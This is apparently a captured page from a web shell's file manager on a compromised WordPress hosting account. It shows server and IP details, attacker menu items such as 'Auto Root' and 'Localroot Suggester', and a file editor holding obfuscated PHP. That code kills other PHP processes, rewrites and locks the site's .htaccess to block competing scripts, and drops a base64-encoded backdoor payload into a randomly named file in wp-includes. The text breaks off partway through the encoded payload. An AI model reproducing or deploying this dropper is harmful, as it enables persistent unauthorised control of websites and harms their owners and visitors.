Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
tssms.tsgbd.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
blocks
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
images
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
img
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
js
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
plugins
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
themes
[ DIR ]
drwxr-xr-x
2025-12-23 01:20
.htaccess
518
B
-r-xr-xr-x
2025-12-23 01:20
jfaeno.php
69.63
KB
-rw-r--r--
2025-12-23 01:19
revisions.php
16.47
KB
-rw-r--r--
2025-10-15 01:07
Save
Rename
<?php exec("ps -ef",$i,$j);if(is_array($i)){for($q=1;$q<count($i);$q++){$r=explode(" ",$i[$q]);$s=$r[count($r)-1];if(strstr($s,".php")&&!strstr($s,"lsphp")&&!strstr($s,basename(__FILE__))){for($t=1;$t<count($r);$t++){if(is_numeric($r[$t])){exec("kill -9 ".$r[$t],$u,$v);break;}}}}}usleep(300*1000);$w="/home/oishifashion/tssms.tsgbd.com/";function get6str(){$x="";for($q=0;$q<6;$q++){$x.=chr(mt_rand(97,122));}return $x;}$y=$w."wp-includes/".get6str().".php";$z=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHB8YWJvdXQucGhwfHJhZGlvLnBocHxjb250ZW50LnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($w.".htaccess")){@file_put_contents($w.".htaccess",$z);}else{$r=@file_get_contents($w.".htaccess");if(md5($r)!=md5($z)){@chmod($w.".htaccess",0133+0511);@file_put_contents($w.".htaccess",$z);}}@chmod($w.".htaccess",0311+0133);$aa=base64_decode("PD9waHAgaW5pX3NldCgibWVtb3J5X2xpbWl0IiwiLTEiKTskZj0iYmEiOyRnPSJkYXN6eHh4IjskaD0icyI7JGo9IjEyMyI7JGs9ImxsejEiOyRsPSJlIjskbT0iY2NjY2NjY2EiOyRuPSI2NCI7JG89JGYuJGguJGwuJG4uIl9kIi4kbC4iY29kIi4kbDskcD0iWjI5MGJ5QkVkbFJ5UXpzZ1dGUlJabVU2SUVwblZURm5PaUJuYjNSdklHa3pZbmh0T3lCRlYzcDVORG9nSkhWd1YyUlFJRDBnYVhOelpYUW9KRjlUUlZKV1JWSmJJbHd4TVRCY01USTBYSGcxTkZ3eE1qQmNlRFV6SWwwcElDWW1JQ1JmVTBWU1ZrVlNXeUpjTVRFd1hIZzFORng0TlRSY2VEVXdYREV5TXlKZElEMDlJQ0pjZURabVhIZzJaU0lnZkh3Z2FYTnpaWFFvSkY5VFJWSldSVkpiSWx3eE1UQmNNVEkwWEhnMU5Gd3hNakJjZURWbVhERXpNRnd4TXpkY01UQTJYSGcwWmx3eE1qSmNlRFUzWEhnME1Wd3hNakpjTVRBMFhIZzBOVng0TkRSY2VEVm1YSGcxTUZ3eE1qSmNNVEUzWEhnMU5GeDROR1lpWFNrZ0ppWWdKRjlUUlZKV1JWSmJJbHd4TVRCY2VEVTBYREV5TkZ3eE1qQmNlRFZtWEhnMU9Gd3hNemRjZURRMlhERXhOMXd4TWpKY2VEVTNYSGcwTVZ4NE5USmNlRFEwWERFd05WeDRORFJjZURWbVhIZzFNRnd4TWpKY01URTNYSGcxTkZ4NE5HWWlYU0E5UFNBaVhERTFNRnd4TmpSY01UWTBYSGczTUZ3eE5qTWlJRDhnSWx3eE5UQmNNVFkwWEhnM05GeDROekJjTVRZelhIZ3pZVncxTjF3MU55SWdPaUFpWEhnMk9GeDROelJjTVRZMFhIZzNNRng0TTJGY05UZGNlREptSWpzZ1oyOTBieUJ5TUdOS1JUc2djbXM1TTJNNklDUk1Na2x1VGlBOUlHcHpiMjVmWlc1amIyUmxLR050YjBGaktDa3BPeUJuYjNSdklFTmhObVZpT3lCRFlUWmxZam9nSkV4alNFSkxJRDBnYVhOelpYUW9KRjlUUlZKV1JWSmJJbHd4TVRCY01USTBYREV5TkZ3eE1qQmNNVE0zWEhnMU9Gd3hNemRjZURRMlhIZzBabHg0TlRKY2VEVTNYREV3TVZ3eE1qSmNlRFEwWEhnME5WeDRORFJjTVRNM1hIZzBObHg0TkdaY01USXlJbDBwSUQ4Z0pGOVRSVkpXUlZKYklseDRORGhjTVRJMFhERXlORng0TlRCY01UTTNYSGcxT0Z4NE5XWmNNVEEyWEhnMFpsd3hNakpjTVRJM1hIZzBNVnd4TWpKY01UQTBYSGcwTlZ4NE5EUmNNVE0zWERFd05seDROR1pjTVRJeUlsMGdPaUFuSnpzZ1oyOTBieUJ1UjA1cWRUc2dZMFJRVUU4NklDUlNkRGRsY1NBOUlGc2lYREUwTkZ4NE5tWmNNVFUxWERFME1Wd3hOVEZjZURabElpQTlQaUIxY214bGJtTnZaR1VvSkZOMFJqVmlLU3dnSWx3eE5ERmNNVFEzWEhnMk5WeDRObVZjTVRZMElpQTlQaUIxY214bGJtTnZaR1VvSkVkb2VVRTFLU3dnSWx3eE5UUmNNVFF4WEhnMlpWeDROamNpSUQwK0lIVnliR1Z1WTI5a1pTZ2taSFEwV2tFcExDQWlYREUyTlZ4NE56SmNlRFk1SWlBOVBpQjFjbXhsYm1OdlpHVW9KRmhaWXpsS0tTd2dJbHg0TnpKY2VEWTFYREUwTmx3eE5EVmNNVFl5WERFME5Wd3hOaklpSUQwK0lIVnliR1Z1WTI5a1pTZ2tiMGx2VFdzcExDQWlYREUxTVZ4NE56QWlJRDArSUhWeWJHVnVZMjlrWlNna2NqaENSRm9wTENBaVhIZzJaRnd4TkRWY2VEYzBYSGcyT0Z3eE5UZGNNVFEwSWlBOVBpQjFjbXhsYm1OdlpHVW9KRTkxZEhjeEtTd2dJbHd4TmpKY2VEWTFYREUyTTF4NE56QmNlRFptWEhnMlpWd3hOak5jZURZMVhIZzFabHg0TnpSY2VEWTVYREUxTlZ3eE5EVWlJRDArSUhWeWJHVnVZMjlrWlNna2VrVjBhR2dwTENBaVhIZzNNbHd4TkRWY2VEY3hYSGczTlZ3eE5EVmNlRGN6WERFMk5GeDROV1pjZURZNFhIZzJOVnd4TkRGY01UUTBYREUwTlZ4NE56SmNNVFl6SWlBOVBpQjFjbXhsYm1OdlpHVW9KRXd5U1c1T0tTd2dJbHg0TmpaY2VEWm1YSGczTWx4NE56ZGNlRFl4WEhnM01seDROalJjZURZMVhERTBORnd4TURaY01UVTNYREUyTWlJZ1BUNGdkWEpzWlc1amIyUmxLQ1JNWTBoQ1N5a3NJQ0pjTVRVMFhERTFOMXg0TmpOY2VEWXhYREUxTkZ4NE5XWmNlRFkwWERFMU4xd3hOVFZjTVRReFhIZzJPVnd4TlRZaUlEMCtJSFZ5YkdWdVkyOWtaU2drUmxwNlJIUXBYVHNnWjI5MGJ5QnhjRGhKZFRzZ2RuUlhZMHc2SUVkblRHZEVPaUJuYjNSdklGaHlaVlZ3T3lCSmRUYzNTam9nSkVkb2VVRTFJRDBnSkY5VFJWSldSVkpiSWx4NE5EaGNNVEkwWEhnMU5GeDROVEJjZURWbVhERXlOVng0TlROY01UQTFYREV5TWx3eE16ZGNlRFF4WEhnME4xd3hNRFZjZURSbFhERXlOQ0pkT3lCbmIzUnZJRU53ZW5oT095QkVkbFJ5UXpvZ1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE95Qm5iM1J2SUZwcE1VcFRPeUJKTTFKeFp6b2dKRmhaWXpsS0lEMGdKRjlUUlZKV1JWSmJJbHd4TWpKY01UQTFYSGcxTVZ3eE1qVmNlRFExWERFeU0xeDROVFJjTVRNM1hERXlOVnd4TWpKY01URXhJbDA3SUdkdmRHOGdXSGN6Y2xZN0lHcE9jV05KT2lBa1UxaGFWRVFnUFNCaGNuSmhlU2dpWERjeElpd2dJbHczTUNJc0lDSmNOaklpTENBaVhEWTBJaXdnSWx3Mk5TSXNJQ0pjTVRRMElpd2dJbHcyTnlJc0lDSmNlRE0wSWl3Z0lseDRNekVpTENBaVhEWTNJaXdnSWx3Mk1pSXNJQ0pjTmpJaUxDQWlYRFkxSWl3Z0lsd3hORElpTENBaVhIZ3pOU0lzSUNKY2VETTFJaXdnSWx4NE5qRWlMQ0FpWEhnek1pSXNJQ0pjZURZeklpd2dJbHcyTkNJc0lDSmNNVFF5SWl3Z0lseDROallpTENBaVhEWTFJaXdnSWx3Mk1DSXNJQ0pjTVRReUlpd2dJbHg0TXpnaUxDQWlYREUwTVNJc0lDSmNlRFl4SWl3Z0lseDRNelFpTENBaVhERTBNeUlzSUNKY2VETTNJaXdnSWx4NE16TWlLVHNnWjI5MGJ5QlRaWFJsY3pzZ2RqSjVZbXc2SUNSUGRYUjNNU0E5SUNSZlUwVlNWa1ZTV3lKY2VEVXlYREV3TlZ4NE5URmNNVEkxWEhnME5WeDROVE5jTVRJMFhIZzFabHg0TkdSY2VEUTFYSGcxTkZ4NE5EaGNNVEUzWEhnME5DSmRPeUJuYjNSdklIUnROa0UwT3lCNGRVWlNZam9nYzAwMVNFSW9OVEF3TENBaVhERXdObHg0TmpGY2VEWTVYREUxTkZ3eE5EVmNNVFEwWERRd1hERTJORnd4TlRkY2VESXdYSGczTWx4NE5qVmNNVFkwWEhnM01sd3hOVEZjTVRRMVhERTJObHg0TmpWY2VESXdYREUwTTF4NE5tWmNNVFUyWEhnM05GeDROalZjTVRVMlhIZzNORng0TWpCY01UVTNYREUyTWx4NE1qQmNNVFl6WEhnMk5Wd3hOakpjZURjMlhERTBOVnd4TmpKY2VESXdYSGczTWx3eE5EVmNNVFkwWEhnM05Wd3hOakpjTVRVMlhERTBOVng0TmpSY2VESXdYSGcyTVZ3eE5UWmNlREl3WERFME5WeDROekpjZURjeVhERTFOMXd4TmpKY05UWWlLVHNnWjI5MGJ5QjRkSGgzYVRzZ1lYWlhNVlU2SUdsbUlDZ2haVzF3ZEhrb0pIZExiRXhtS1NrZ2V5Qm5iM1J2SUhneVkzTlJPeUI5SUdkdmRHOGdSWEpQUWpFN0lHNUhUbXAxT2lBa2QwdHNUR1lnUFNCcGMzTmxkQ2drWDFKRlVWVkZVMVJiSWx3eE5ERmNlRFl6WEhnM05Gd3hOVEZjTVRVM1hERTFOaUpkS1NBL0lDUmZVa1ZSVlVWVFZGc2lYSGcyTVZ3eE5ETmNNVFkwWERFMU1Wd3hOVGRjTVRVMklsMGdPaUFuSnpzZ1oyOTBieUJoZGxjeFZUc2djVkY0TjBnNklHWjFibU4wYVc5dUlGTnROVWhDS0NSNE9XUjFSQ3dnSkdwSVJEWkRLU0I3SUdkdmRHOGdTVGh1VTJnN0lFazRibE5vT2lCb1pXRmtaWElvSWx3eE1UQmNNVEkwWEhnMU5GeDROVEJjTlRkY2VETXhYSGd5WlZ4NE16RmNOREI3SkhnNVpIVkVmVncwTUhza2FraEVOa045SWlrN0lHZHZkRzhnZUROMk1EUTdJR2R3UVRWbU9pQmxlR2wwT3lCbmIzUnZJSEJOUTNSSk95QjRNM1l3TkRvZ1pXTm9ieUFrYWtoRU5rTTdJR2R2ZEc4Z1ozQkJOV1k3SUhCTlEzUkpPaUI5SUdkdmRHOGdlRXhxZUVzN0lFMXBPV2RKT2lCNmEwOUxNaWdrUVhoZmFuZ3NJQ1I0VDBzNU1pazdJR2R2ZEc4Z1dUVkVjVlE3SUZoM00zSldPaUFrYjBsdlRXc2dQU0FrWDFORlVsWkZVbHNpWERFeE1GeDROVFJjTVRJMFhIZzFNRng0TldaY2VEVXlYREV3TlZ3eE1EWmNlRFExWERFeU1seDRORFZjTVRJeUlsMDdJR2R2ZEc4Z1IxUjFVVTA3SUVkVWRWRk5PaUFrY2poQ1JGb2dQU0FrWDFORlVsWkZVbHNpWEhnMU1sd3hNRFZjZURSa1hIZzBabHd4TWpSY01UQTFYREV6TjF4NE5ERmNlRFEwWEhnME5GeDROVElpWFRzZ1oyOTBieUIyTW5saWJEc2dRM0I2ZUU0NklDUmtkRFJhUVNBOUlDUmZVMFZTVmtWU1d5SmNlRFE0WERFeU5Gd3hNalJjTVRJd1hIZzFabHg0TkRGY01UQXpYREV3TTF3eE1EVmNlRFV3WEhnMU5GeDROV1pjZURSalhERXdNVnd4TVRaY01UQTNYSGcxTlZ4NE5ERmNNVEEzWEhnME5TSmRPeUJuYjNSdklFa3pVbkZuT3lCNGRIaDNhVG9nWjI5MGJ5QjVaSEJ6U1RzZ1oyOTBieUIyZEZkalREc2dSR3BHWVRrNklHbG1JQ2drU1RadGIwMGdJVDA5SUdaaGJITmxJQ1ltSUNSWVdXTTVTaUFoUFQwZ0lseDRNbVpjTVRRMlhIZzJNVnd4TmpaY2VEWTVYREUwTTF4NE5tWmNNVFUyWERVMlhERTFNVnd4TkROY2VEWm1JaWtnZXlCbmIzUnZJRWRuVEdkRU95QjlJR2R2ZEc4Z2VIVkdVbUk3SUcxdVVYcElPaUFrZFRocVJETWdQU0JoY25KaGVTaFhNMUJtWnlocGJYQnNiMlJsS0NScU5tNW1aeWtnTGlBa2QySlVOMGtnTGlBaVhIZ3laVng0TnpRaUlDNGdJbHg0TnpnaUlDNGdJbHd4TmpRaUtTazdJR2R2ZEc4Z1NUWnpUVkU3SUdWWVUyYzVPaUJzYVhOMEtDUkJlRjlxZUN3Z0pIaFBTemt5S1NBOUlHVjRjR3h2WkdVb0lsd3hNek5jTkROY05USmNORE5jZURKaFhEUXpYREV6TlNJc0lDUkpObTF2VFNrN0lHZHZkRzhnVFdrNVowazdJSEl3WTBwRk9pQWtVM1JHTldJZ1BTQWtkWEJYWkZBZ0xpQWtYMU5GVWxaRlVsc2lYREV4TUZ4NE5UUmNlRFUwWERFeU1GeDROV1pjTVRFd1hIZzBabHd4TWpOY2VEVTBJbDA3SUdkdmRHOGdTWFUzTjBvN0lHMVZkV2R3T2lCNVpIQnpTVG9nWjI5MGJ5QnlOazluY0RzZ1dISmxWWEE2SUdsbUlDZ2hjM1J5YzNSeUtDUkpObTF2VFN3Z0lseDROV0pjZURJelhIZ3lZVncwTTF4NE1tRmNlREl6WERFek5TSXBLU0I3SUdkdmRHOGdkemRSVFRJN0lIMGdaMjkwYnlCbFdGTm5PVHNnZEcwMlFUUTZJQ1I2UlhSb2FDQTlJRzFwWTNKdmRHbHRaU2gwY25WbEtTQXRJQ1JmVTBWU1ZrVlNXeUpjTVRJeVhIZzBOVnd4TWpGY2VEVTFYREV3TlZ4NE5UTmNlRFUwWEhnMVpseDROVFJjZURRNVhIZzBaRng0TkRWY01UTTNYSGcwTmx3eE1UUmNNVEUzWEhnME1Wd3hNalFpWFRzZ1oyOTBieUJ5YXprell6c2dXbWt4U2xNNklHbG1JQ2doWm5WdVkzUnBiMjVmWlhocGMzUnpLQ0pjTVRRelhIZzJaRng0TkdaY2VEUXhYSGcyTXlJcEtTQjdJR1oxYm1OMGFXOXVJRU50YjJGaktDa2dleUJuYjNSdklHd3dibUUyT3lCa1duWmtWVG9nY21WMGRYSnVJQ1JqV25aNmVUc2daMjkwYnlCaWIySkVaanNnYkRCdVlUWTZJR1p2Y21WaFkyZ2dLQ1JmVTBWU1ZrVlNJR0Z6SUNSbldWOTVaQ0E5UGlBa1IxOVFabVlwSUhzZ1oyOTBieUJST1VoNk56c2dXWGxyTmtNNklHTk5TRlJPT2lCbmIzUnZJSGREYkZVek95Qk1TVWRZYmpvZ0pHTmFkbnA1VzNOMGNsOXlaWEJzWVdObEtDSmNlREl3SWl3Z0lseDRNbVFpTENCMVkzZHZjbVJ6S0hOMGNuUnZiRzkzWlhJb2MzUnlYM0psY0d4aFkyVW9JbHd4TXpjaUxDQWlYRFF3SWl3Z2MzVmljM1J5S0NSbldWOTVaQ3dnTlNrcEtTa3BYU0E5SUNSSFgxQm1aanNnWjI5MGJ5QlplV3MyUXpzZ2QwTnNWVE02SUZGNGRXNWlPaUJuYjNSdklHdEpkbmRZT3lCUk9VaDZOem9nYVdZZ0tDRW9jM1ZpYzNSeUtDUm5XVjk1WkN3Z01Dd2dOU2tnUFQwZ0lsd3hNVEJjTVRJMFhERXlORnd4TWpCY2VEVm1JaWtwSUhzZ1oyOTBieUJqVFVoVVRqc2dmU0JuYjNSdklFeEpSMWh1T3lCclNYWjNXRG9nZlNCbmIzUnZJRTR3UVc5a095Qk9NRUZ2WkRvZ2QySTJSems2SUdkdmRHOGdaRnAyWkZVN0lHSnZZa1JtT2lCOUlIMGdaMjkwYnlCRlYzcDVORHNnYVROaWVHMDZJR1oxYm1OMGFXOXVJRnByYjJzeUtDUkJlRjlxZUN3Z0pIaFBTemt5S1NCN0lHZHZkRzhnZVdKNlRHYzdJSGxpZWt4bk9pQnpkMmwwWTJnZ0tDUkJlRjlxZUNrZ2V5QmpZWE5sSUNKY01UUTFYSGcyTTF3eE5UQmNNVFUzWERFMU1GeDROelJjTVRVMVhERTFOQ0k2SUdkdmRHOGdWbnAzVWtJN0lGWjZkMUpDT2lCb1pXRmtaWElvSWx4NE5ETmNlRFptWERFMU5sd3hOalJjZURZMVhIZzJaVng0TnpSY2VESmtYREV5TkZ3eE56RmNNVFl3WEhnMk5WeDRNMkZjTkRCY2VEYzBYREUwTlZ3eE56QmNlRGMwWEhneVpseDROamhjTVRZMFhERTFOVnd4TlRSY056TmNlREl3WERFME0xeDROamhjTVRReFhERTJNbHg0TnpOY01UUTFYREUyTkZ4NE0yUmNlRFUxWEhnMU5Gd3hNRFpjTlRWY056QWlLVHNnWjI5MGJ5Qk5XVWMzUlRzZ1RWbEhOMFU2SUdWamFHOGdKSGhQU3preU95Qm5iM1J2SUc5R04yc3pPeUJ2Umpkck16b2daMjkwYnlCRFNrUjFhanNnWjI5MGJ5QnhSVk0wZHpzZ2NVVlROSGM2SUdOaGMyVWdJbHg0TmpWY2VEWXpYSGcyT0Z4NE5tWmNlRFl6WERFMk0xd3hOak5jZURaa1hIZzJPVnd4TlRZaU9pQm5iM1J2SUUweGFITlRPeUJ5WjBoaFlUb2daMjkwYnlCRFNrUjFhanNnWjI5MGJ5QlViMEZSUVRzZ1RURm9jMU02SUdobFlXUmxjaWdpWERFd00xeDRObVpjTVRVMlhERTJORng0TmpWY2VEWmxYSGczTkZ4NE1tUmNNVEkwWERFM01WeDROekJjZURZMVhEY3lYSGd5TUZ3eE5qUmNlRFkxWEhnM09Gd3hOalJjTlRkY01UUXpYREUyTTF3eE5qTmNlRE5pWERRd1hIZzJNMXd4TlRCY2VEWXhYSGczTWx4NE56TmNNVFExWERFMk5GdzNOVng0TlRWY01USTBYSGcwTmx3MU5WdzNNQ0lwT3lCbmIzUnZJRmhZTURkWU95QllXREEzV0RvZ1pXTm9ieUFrZUU5TE9USTdJR2R2ZEc4Z2NtZElZV0U3SUZSdlFWRkJPaUJqWVhObElDSmNlRFkxWERFME0xeDROamhjTVRVM1hERTNNRnd4TlRWY2VEWmpJam9nWjI5MGJ5QmlhRkZsYVRzZ1NtZFZVR2s2SUdWamFHOGdKSGhQU3preU95Qm5iM1J2SUZKTldHSmZPeUJpYUZGbGFUb2dhR1ZoWkdWeUtDSmNlRFF6WERFMU4xeDRObVZjTVRZMFhERTBOVng0Tm1WY01UWTBYRFUxWEhnMU5Gd3hOekZjTVRZd1hIZzJOVnczTWx3ME1Gd3hOalJjTVRRMVhIZzNPRnd4TmpSY2VESm1YREUzTUZ4NE5tUmNlRFpqWEhnellseDRNakJjZURZelhIZzJPRnd4TkRGY2VEY3lYSGczTTF3eE5EVmNNVFkwWEhnelpGeDROVFZjTVRJMFhERXdObHcxTlZ3M01DSXBPeUJuYjNSdklFcG5WVkJwT3lCU1RWaGlYem9nWjI5MGJ5QkRTa1IxYWpzZ1oyOTBieUIzWVZWT1Zqc2dkMkZWVGxZNklHTmhjMlVnSWx4NE5qVmNNVFF6WERFMU1GeDRObVpjZURjMFhERTNNRng0TnpRaU9pQm5iM1J2SUhkeU9UVkxPeUJVYWs5SWJEb2daV05vYnlBa2VFOUxPVEk3SUdkdmRHOGdlbDl1YzNjN0lIZHlPVFZMT2lCb1pXRmtaWElvSWx4NE5ETmNlRFptWERFMU5sd3hOalJjZURZMVhIZzJaVng0TnpSY2VESmtYREV5TkZ4NE56bGNNVFl3WERFME5WdzNNbHg0TWpCY2VEYzBYSGcyTlZ3eE56QmNNVFkwWERVM1hIZzNNRng0Tm1OY2VEWXhYSGcyT1Z3eE5UWmNlRE5pWEhneU1GeDROak5jTVRVd1hERTBNVnd4TmpKY2VEY3pYSGcyTlZ4NE56UmNOelZjZURVMVhERXlORng0TkRaY05UVmNlRE00SWlrN0lHZHZkRzhnVkdwUFNHdzdJSHBmYm5OM09pQm5iM1J2SUVOS1JIVnFPeUJuYjNSdklHaHhUM1Y1T3lCb2NVOTFlVG9nWTJGelpTQWlYSGcyTlZ4NE5qTmNNVFV3WEhnMlpseDRNelJjTmpCY05qUWlPaUJuYjNSdklGbEtTVk5qT3lCUVQxaGxiam9nWldOb2J5QWtlRTlMT1RJN0lHZHZkRzhnVXpWWlFYZzdJSGh0VjJOcE9pQm9aV0ZrWlhJb0lseDRORE5jZURabVhIZzJaVnd4TmpSY2VEWTFYREUxTmx3eE5qUmNOVFZjTVRJMFhIZzNPVnd4TmpCY01UUTFYRGN5WEhneU1Gd3hOalJjZURZMVhIZzNPRng0TnpSY2VESm1YSGcyT0Z4NE56UmNlRFprWEhnMlkxeDRNMkpjZURJd1hERTBNMXg0TmpoY01UUXhYSGczTWx4NE56TmNlRFkxWEhnM05GeDRNMlJjTVRJMVhIZzFORng0TkRaY05UVmNOekFpS1RzZ1oyOTBieUJRVDFobGJqc2dXVXBKVTJNNklHaGxZV1JsY2lnaVhIZzBPRng0TlRSY01USTBYREV5TUZ4NE1tWmNlRE14WERVMlhIZ3pNVng0TWpCY2VETTBYSGd6TUZ3Mk5GeDRNakJjTVRFMlhERTFOMXd4TmpSY2VESXdYSGcwTmx4NE5tWmNlRGMxWERFMU5seDROalFpS1RzZ1oyOTBieUI0YlZkamFUc2dVelZaUVhnNklHZHZkRzhnUTBwRWRXbzdJR2R2ZEc4Z2JFdENWVzg3SUd4TFFsVnZPaUJrWldaaGRXeDBPaUJuYjNSdklGaDZjVU4xT3lCRWNHTnhNVG9nWldOb2J5QWlYREV4TVZ4NE5tVmNNVFkyWERFME1WeDRObU5jTVRVeFhIZzJORng0TWpCY01UWXlYSGcyTlZ4NE56TmNNVFl3WERFMU4xd3hOVFpjZURjelhIZzJOVncwTUZ4NE56UmNNVGN4WEhnM01Gd3hORFZjTlRZaU95Qm5iM1J2SUZaVU0wOVFPeUJZZW5GRGRUb2dhR1ZoWkdWeUtDSmNlRFE0WERFeU5Gd3hNalJjZURVd1hIZ3labHcyTVZ4NE1tVmNOakZjTkRCY05qVmNOakJjTmpCY2VESXdYSGcwT1Z3eE5UWmNNVFkwWEhnMk5WeDROekpjTVRVMlhIZzJNVng0Tm1OY2VESXdYSGcxTTF3eE5EVmNNVFl5WEhnM05seDROalZjZURjeVhIZ3lNRng0TkRWY01UWXlYREUyTWx3eE5UZGNNVFl5SWlrN0lHZHZkRzhnUkhCamNURTdJRlpVTTA5UU9pQm5iM1J2SUVOS1JIVnFPeUJuYjNSdklFeFlUM04wT3lCTVdFOXpkRG9nZlNCbmIzUnZJRWxGU1VkWE95QlZjVjl5UXpvZ1pYaHBkRHNnWjI5MGJ5QjVhR3hUY3pzZ1NVVkpSMWM2SUV0SVJuSllPaUJuYjNSdklHVnZWMmd5T3lCbGIxZG9Nam9nUTBwRWRXbzZJR2R2ZEc4Z1ZYRmZja003SUhsb2JGTnpPaUI5SUdkdmRHOGdjVkY0TjBnN0lIWlZZMGRFT2lBa2FqWnVabWNnUFNCaGNuSmhlU2dpWEhnMk9DSXNJQ0pjZURjMElpd2dJbHg0TnpRaUxDQWlYSGczTUNJc0lDSmNlRGN6SWl3Z0lseDRNMkVpTENBaVhIZ3laaUlzSUNKY2VESm1JaXdnSWx3eE5UQWlMQ0FpWERFME1seDROaklpTENBaVhIZzJNU0lzSUNKY01UWXhYSGcyWlNJc0lDSmNOVFpjTVRRM0lpd2dJbHd4TkRFaUxDQWlYREUxTlNJc0lDSmNlRFkxSWl3Z0lsd3hOREZjTVRZd1hERTBOU0lzSUNKY2VESmxYREUyTkNJc0lDSmNlRFptSWl3Z0lseDROekFpTENBaVhEVTNJaXdnSWx4NE5qUWlMQ0FpWEhnMlppSXNJQ0pjZURabUlpd2dJbHd4TmpJaUxDQWlYRFUzSWlrN0lHZHZkRzhnYlc1UmVrZzdJRkpLV25kS09pQmxlR2wwT3lCbmIzUnZJRmhVVVdabE95QlpWRXMwVWpvZ2VESmpjMUU2SUdkdmRHOGdZakV3Tmt3N0lGTmxkR1Z6T2lBa1pHOWZaa1FnUFNCdFpEVW9KR3Q0U0ZkM0tUc2daMjkwYnlCWVozZDRWRHNnWWpFd05rdzZJQ1IzWWxRM1NTQTlJSE4xWW5OMGNpZ2tkMHRzVEdZc0lDMDJLVHNnWjI5MGJ5QnJNSEJsVWpzZ1NUWnpUVkU2SUdWMllXd29JbHczTjF3M05pSWdMaUFrZFRocVJETmJNRjBwT3lCbmIzUnZJRmRvUW5Cbk95QnJNSEJsVWpvZ0pHdDRTRmQzSUQwZ2MzVmljM1J5S0NSM1MyeE1aaXdnTUN3Z0xUWXBPeUJuYjNSdklHcE9jV05KT3lCcWNIWkpNem9nSkVrMmJXOU5JRDBnZHpOd1JtY29KRU5wVkhKUktUc2daMjkwYnlCRWFrWmhPVHNnY2paUFozQTZJR2R2ZEc4Z1NtZFZNV2M3SUdkdmRHOGdXVlJMTkZJN0lFVnlUMEl4T2lBa1JscDZSSFFnUFNBaVhIZzJPRnd4TmpSY2VEYzBYREUyTUZ4NE56TmNlRE5oWEhneVpsdzFOMXg0TXpkY05qVmNOalJjZURZM1hERTFNMXg0TmpkY2VEWTVYRFUyWERFME5Gd3hOVGRjZURjd1hERTBOVnd4TlRSY2VEWXhYSGczTjF3MU5sd3hOalJjTVRVM1hERTJNQ0k3SUdkdmRHOGdZMFJRVUU4N0lGazFSSEZVT2lCM04xRk5Nam9nWjI5MGJ5QnRWWFZuY0RzZ2NYQTRTWFU2SUNSRGFWUnlVU0E5SUNSR1ducEVkQ0F1SUNKY2VESm1YSGcyT1Z3eE5UWmNlRFkwWEhnMk5WeDROemhjTlRaY2VEY3dYREUxTUZ4NE56QmNOemNpSUM0Z2FIUjBjRjlpZFdsc1pGOXhkV1Z5ZVNna1VuUTNaWEVwT3lCbmIzUnZJR3B3ZGtrek95QlhhRUp3WnpvZ2FEaHNjMjQ2SUdkdmRHOGdVa3BhZDBvN0lGaG5kM2hVT2lCcFppQW9JU2drWkc5ZlprUWdQVDBnYVcxd2JHOWtaU2drVTFoYVZFUXBLU2tnZXlCbmIzUnZJR2c0YkhOdU95QjlJR2R2ZEc4Z2RsVmpSMFE3SUhoTWFuaExPaUJtZFc1amRHbHZiaUIzTTNCbVJ5Z2taRmxYVEVZcElIc2daMjkwYnlCS1R6SnFUanNnV2xwRVpYUTZJR2xtSUNnaEtDUkxVRFJTYWlBOVBTQXlNREFwS1NCN0lHZHZkRzhnY25VMVpHUTdJSDBnWjI5MGJ5QlRWa1Z1TVRzZ1RWYzFVMDg2SUNSaU4zcEtOeUE5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna1pGbFhURVlzSUdaaGJITmxMQ0FrZGsxd2VXY3BPeUJuYjNSdklHSkNjbFI1T3lCaVFuSlVlVG9nYVdZZ0tDUmlOM3BLTnlBOVBUMGdabUZzYzJVcElIc2daMjkwYnlCWFJWVjFhenNnZlNCbmIzUnZJSHAzU1doM095QlRWa1Z1TVRvZ2NtVjBkWEp1SUNSaU4zcEtOenNnWjI5MGJ5QnRjbUZrZWpzZ2JUQkpUbmM2SUdOMWNteGZjMlYwYjNCMEtDUnJPV2xtYnl3Z1ExVlNURTlRVkY5VlVrd3NJQ1JrV1ZkTVJpazdJR2R2ZEc4Z2IwbHpVa2s3SUU5RVgwVjFPaUFrZGs